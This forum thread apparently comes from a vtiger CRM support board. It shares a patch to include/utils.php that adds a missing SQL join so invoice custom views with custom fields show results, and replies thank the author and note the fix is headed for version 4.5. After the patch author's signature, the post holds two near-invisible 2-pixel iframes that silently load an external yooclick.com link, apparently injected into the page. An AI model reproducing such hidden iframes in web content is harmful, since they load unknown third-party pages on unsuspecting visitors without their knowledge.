custom invoice view using custom fields fix (4.2 Patch 2)

When creating a invoice custom view that contains a custom field no results are displayed.

The code in include/utils.php is missing the sql inner join for invoicecf the following code replaces the original lines

if($module == "Invoice")
{
$query = "select crmentity.*, invoice.*, invoicebillads.*, invoiceshipads.*, invoicecf.* ,salesorder.subject as salessubject from invoice inner join crmentity on crmentity.crmid=invoice.invoiceid inner join invoicebillads on invoice.invoiceid=invoicebillads.invoicebilladdressid inner join invoiceshipads on invoice.invoiceid=invoiceshipads.invoiceshipaddressid left outer join salesorder on salesorder.salesorderid=invoice.salesorderid inner join invoicecf on invoice.invoiceid = invoicecf.invoiceid where crmentity.deleted=0".$where;
}

Geoff <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 7 Comments sorted by Votes Date Added
  • hi geoff
    thank you for your fix.we have integrated it in our product.also we expect the same in future


    thanks & regards
    jerry
  • same problem with salesorder, vendor, purchaseorder, quotes !!!
    when creating a invoice custom view that contains a custom field no results are displayed.
    geoff
  • when are creating a custom view in modules salesorder, vendor, purchaseorder, quotes and invoice that contains a custom field no results are displayed.

    this fix it.

    more thanks to gtyerman for fix in invoice-module !!!

    kleo
  • dear leo,

    thanks for giving the fix, it is integrated and available in vtigercrm 4.5 alpha which is scheduled to release on second week of december.

    thanks & regards,
    raj
  • hi everybody,

    please be informed that the vtigercrm 4.5 alpha release with the fixes you have provided will be made available by this month.

    philip
  • i'm having good luck with this patch so far <!-- s8) --><img src="{smilies_path}/icon_cool.gif" alt="8)" title="cool" /><!-- s8) --> thanks kleo & gtyerman <!-- s:!: --><img src="{smilies_path}/icon_exclaim.gif" alt=":!:" title="exclamation" /><!-- s:!: -->

    ~jim (central pa)
Sign In or Register to comment.